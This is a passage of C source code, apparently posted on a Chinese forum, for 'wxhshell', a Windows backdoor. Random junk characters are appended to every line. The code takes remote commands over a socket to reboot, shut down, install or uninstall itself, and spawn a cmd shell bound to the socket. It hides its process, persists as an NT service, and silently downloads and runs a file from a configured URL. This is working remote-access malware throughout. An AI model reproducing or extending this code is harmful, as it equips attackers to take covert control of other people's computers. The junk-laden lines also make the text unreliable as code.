      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -"}nm!j /5  
    break; 3<}r+,j  
  } ;2'/rEq4o  
  // 安装 lLN5***47J  
  case 'i': { ~> S? m;  
    if(Install()) M^0^l9w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9HZR%s[J  
    else -S 0dr8E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !XT2'6nu  
    break; 8HL8)G6  
    } !uAqY\Is  
  // 卸载 E*VOyH 2[  
  case 'r': { j0A9;AP;;C  
    if(Uninstall()) I04c7cDp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L^??*XEUJ  
    else ~U1M -<IX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =|IY[2^  
    break; 0t -=*7w%  
    } (gb vInZ  
  // 显示 wxhshell 所在路径 5KL??ao-  
  case 'p': { :F pt>g  
    char svExeFile[MAX_PATH]; ]".SW5b_  
    strcpy(svExeFile,"\n\r"); lj@ ibA]  
      strcat(svExeFile,ExeFile); k<k@Tlo  
        send(wsh,svExeFile,strlen(svExeFile),0); !z"nJC  
    break; 077 wk  
    } YkI_i(  
  // 重启 ? ;$f"Wl  
  case 'b': { +H "j-:E@t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >"pHk@AWK  
    if(Boot(REBOOT)) U] av{}U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6yedl0@wa!  
    else { )\QPUdOvx  
    closesocket(wsh); EsjZ;D, c(  
    ExitThread(0); 5.F/>?<  
    } C*Wyw]:r  
    break; ?d@zTAI  
    } H1hADn  
  // 关机 O.$OLK;v  
  case 'd': { M Jtn)gXb  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'b Kc;\  
    if(Boot(SHUTDOWN)) @hOT< Uo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z^%aXaf8  
    else { ONm-zRx|  
    closesocket(wsh); 6U%F mE@  
    ExitThread(0); +lw*/\7  
    } ETrL3W<  
    break; GUUd(xS {  
    } DcmRvi)&6  
  // 获取shell )X 'ln  
  case 's': { <E\vc6n  
    CmdShell(wsh); yrFl,/8&G  
    closesocket(wsh); q;9OqArq  
    ExitThread(0); &6\f;T4  
    break; ?5rM'O2  
  } TQ25"bWi  
  // 退出 & eWnS~hJ  
  case 'x': { ;BW9SqlN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fU ^5Dl  
    CloseIt(wsh); zI.:1(,  
    break; =iE)vY,?"}  
    } FUs57 V  
  // 离开 PQ(/1v   
  case 'q': { t^8|t(Lq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3'6by!N,d  
    closesocket(wsh); tiTh7qYi9  
    WSACleanup(); /9SNXjfbt  
    exit(1); Mb(hdS90  
    break; 2R~[B]2"r  
        } (n4Uc308  
  } gCv[AIE_m  
  } \x=!'  
>W^)1E,Qh  
  // 提示信息 .'=-@W*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]vZ}4Xno  
} M nDa ag  
  } "rR$2`v"  
]RTK:%  
  return; e/F+Tf  
} qWb8"  
)KcY<K  
// shell模块句柄 la 89>pF  
int CmdShell(SOCKET sock)  h3z9}'  
{ *M+CA_I(  
STARTUPINFO si; :[bpMP<bz;  
ZeroMemory(&si,sizeof(si)); xZ>@wBQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /[>zFYaQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~  ve  
PROCESS_INFORMATION ProcessInfo; r,cK#!<%  
char cmdline[]="cmd"; [G7S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X A-,  
  return 0; "In$|A\?E  
} <gx"p#JbZ  
tq2Ti Xo%  
// 自身启动模式 -59;Zn/  
int StartFromService(void) ;  8u5  
{ uAv'%/  
typedef struct <M M(Z  
{ fx = %e  
  DWORD ExitStatus; `;z;=A*  
  DWORD PebBaseAddress; Zie t-@}  
  DWORD AffinityMask; G|)fZQ1nS  
  DWORD BasePriority; ./Wi(p{F  
  ULONG UniqueProcessId; <*5`TE0J  
  ULONG InheritedFromUniqueProcessId; yI8 /m|  
}   PROCESS_BASIC_INFORMATION; Tizjh&*^  
3Qu Ft~@@  
PROCNTQSIP NtQueryInformationProcess; GE |P)VO  
h SU|rVi  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f}{Oj-:"CC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8|-064i>  
95 oh}c  
  HANDLE             hProcess; d6{0[T^L  
  PROCESS_BASIC_INFORMATION pbi; y\}<N6  
l#;o^H i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~ ]^<*R  
  if(NULL == hInst ) return 0; uG 7ll5Yy  
:hUt7/3c  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9Q:}VpT~nG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8M7pc{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2jH&@g$cl;  
9H,Ec,.  
  if (!NtQueryInformationProcess) return 0; uU#e54^  
D]WU,a[$Bc  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q=_tjg  
  if(!hProcess) return 0; xI^nA2g  
z|sR `]K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Fn*)!,)  
PZSi}j/  
  CloseHandle(hProcess); 5vjtF4}7!  
xZp`Ke!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7G9o%!D5  
if(hProcess==NULL) return 0; o]m56  
BV6 U -  
HMODULE hMod; LKI2R_|n  
char procName[255]; M;1B}x@  
unsigned long cbNeeded; Ub<^;Du5  
<!I^xo [  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dJUI.!hv;  
`&qeSEs\  
  CloseHandle(hProcess); ?\Lf=[  
b'TkYa^  
if(strstr(procName,"services")) return 1; // 以服务启动 5.FAuzz  
{^SHIL  
  return 0; // 注册表启动 YOY{f:ew  
} (vr v-4  
,P$Crs[  
// 主模块 lr&O@ 5"oy  
int StartWxhshell(LPSTR lpCmdLine) `~{ 0  
{ ]6TX)1  
  SOCKET wsl; J)a^3>  
BOOL val=TRUE; /_CSRi&  
  int port=0; 7s.vJdA]6  
  struct sockaddr_in door; A_<1}8{L  
Q^\f,E\S  
  if(wscfg.ws_autoins) Install(); :H`Z.>K  
h6C:`0o  
port=atoi(lpCmdLine); Kgu#M i~  
- ]Mp<Y  
if(port<=0) port=wscfg.ws_port; IL N0/eH  
7P7d[KP<  
  WSADATA data; %eLf6|1x  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .T }q"  
,?Nc\Q<:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l?swW+ x\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?ZlN$h^  
  door.sin_family = AF_INET; CAV Q[r5y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  *"K7<S[  
  door.sin_port = htons(port); 'Z ,T,zW  
g;PZ$|%&s>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `]\:%+-  
closesocket(wsl); I85bzzZB  
return 1; R.B3  
} 6qp' _?  
NlV,] $L1T  
  if(listen(wsl,2) == INVALID_SOCKET) { F~${L+^  
closesocket(wsl); \)m V2r!%  
return 1; $09PZBF,i  
} /J` ZO$  
  Wxhshell(wsl); 8lcB.M  
  WSACleanup(); '*,P33h9<!  
@8s:,Y_  
return 0; p:q?8+W-r  
/E0/)@pDq  
} )#_:5^1  
W! q-WU  
// 以NT服务方式启动 8.R~Ys*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u+/1ryp  
{ sFWH*k dP?  
DWORD   status = 0; [_,Gk]F=  
  DWORD   specificError = 0xfffffff; 8ECBi(  
RFq&#3f$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qGPIKu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #Mmr{4m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v$i[dZSN[  
  serviceStatus.dwWin32ExitCode     = 0; "I`g(q#Uo  
  serviceStatus.dwServiceSpecificExitCode = 0; wUBug  
  serviceStatus.dwCheckPoint       = 0; &fu J%  
  serviceStatus.dwWaitHint       = 0; Bfz]PN78.G  
[_SV$Jz  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wSP'pM{#2  
  if (hServiceStatusHandle==0) return; 0?d}Oj  
<>  |/U`  
status = GetLastError(); {u,yX@F4l  
  if (status!=NO_ERROR) Zn9ecN  
{ {&Es3+{A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o\7q!  
    serviceStatus.dwCheckPoint       = 0; nt*nTtcE  
    serviceStatus.dwWaitHint       = 0; dl&402  
    serviceStatus.dwWin32ExitCode     = status; #:6gFfk0<  
    serviceStatus.dwServiceSpecificExitCode = specificError; Kx@;LRY#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1l*O;J9By  
    return; jVhfpS[  
  } =ijVT_|u0  
)RE~=*?d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o(_~ st<  
  serviceStatus.dwCheckPoint       = 0; s@c.nT%BYL  
  serviceStatus.dwWaitHint       = 0; ); <Le6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fPLi8`r  
} QN$Ac.F  
o#ajBOJ  
// 处理NT服务事件,比如:启动、停止 `tb@x ^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) KJ&~z? X  
{ rAZsVnk?  
switch(fdwControl) cw)'vAE  
{ 8rwXbYx x  
case SERVICE_CONTROL_STOP: @+`">a8} ,  
  serviceStatus.dwWin32ExitCode = 0; \C(dWs  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6EeK5XLf,  
  serviceStatus.dwCheckPoint   = 0; tQ > IJ  
  serviceStatus.dwWaitHint     = 0; +f- E8q  
  { Lj(y>{y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -<GSHckD  
  } 6*92I  
  return; ka$oUB)iQ  
case SERVICE_CONTROL_PAUSE: "Yu';&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; NEG&zf  
  break; CF?TW  
case SERVICE_CONTROL_CONTINUE: ,*Z:a 4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g9F4nExo  
  break; V\(p6:1(6K  
case SERVICE_CONTROL_INTERROGATE: Wk"\aoX"E  
  break; _x ;fTW0  
}; )5(Ko <"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9q=\_[\[  
} UPI'O %  
D^%DYp  
// 标准应用程序主函数 P)$q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !e"TWO*X  
{ -P5M(Rt  
6q!smM  
// 获取操作系统版本 9uL="z$\  
OsIsNt=GetOsVer(); yF#:*Vz>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ==z,vxr  
;:)?@IuSy  
  // 从命令行安装 &InMI#0mV  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9 yE   
gU^2;C  
  // 下载执行文件 u(`,7 o "  
if(wscfg.ws_downexe) { O)4P)KAO<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !ufSO9eDx"  
  WinExec(wscfg.ws_filenam,SW_HIDE); |G QFNrNx  
} *`HE$k!  
"7T9d)  
if(!OsIsNt) { kroO~(\  
// 如果时win9x,隐藏进程并且设置为注册表启动 iA[WDB\|0  
HideProc(); Ef2#}%>  
StartWxhshell(lpCmdLine); o/U"'FP  
} ~YX!49XfHh  
else NpIx\\d  
  if(StartFromService()) ^:c"%<"='  
  // 以服务方式启动 D`G ;kp  
  StartServiceCtrlDispatcher(DispatchTable); XtV=Gr8"  
else c!{]Z_d\  
  // 普通方式启动 QE8aYPSFf  
  StartWxhshell(lpCmdLine); eT|"6WJ:{  
9se ,c  
return 0; 6*:mc  
}
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只看该作者 1 发表于: 2006-10-10
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